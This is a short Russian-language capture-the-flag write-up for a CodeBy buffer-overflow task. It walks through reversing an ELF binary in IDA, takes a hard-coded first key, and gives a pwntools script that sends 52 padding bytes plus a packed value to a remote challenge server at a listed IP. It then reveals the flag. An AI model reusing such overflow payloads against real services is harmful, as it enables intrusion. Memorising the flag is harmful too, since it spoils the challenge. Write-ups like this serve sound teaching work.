---
# System prepended metadata

title: 'BOF: Обратная сторона Луны'

---

Дан ELF файл. Сразу открываю его в IDA.

Смотрим дизассемблированый код:

![](https://hackmd.io/_uploads/HksxH5Fo3.png)

Два этапа проверки, для первого ключ значение является константной, смотрим его в памяти:

![](https://hackmd.io/_uploads/S1HfBcFsn.png)

Для второго ключ является hex значением не переводящимся в строку, следовательно ручками ввести его не получится, поэтому воспользуюсь pwntools:

```python
from pwn import *

context.update(arch='i386')
exe = './path/to/binary'

host = args.HOST or '62.173.140.174'
port = int(args.PORT or 17200)


def start_remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

io = start()

first_answ = b'CODEBY_Secret_Base\n'
second_answ = (b'A' * 52)
second_answ += p32(0xEDBCDB)

try:
    io.sendline(first_answ)
    io.sendline(second_answ)
except:
    pass

io.interactive()
```

Отлично. Идём получать флаг:

![](https://hackmd.io/_uploads/HJb0HqKih.png)

Победа. Флаг -  **CODEBY{ThE_My6tERy_0f_tHe_d@rK_s1De_0f_thE_m00}**
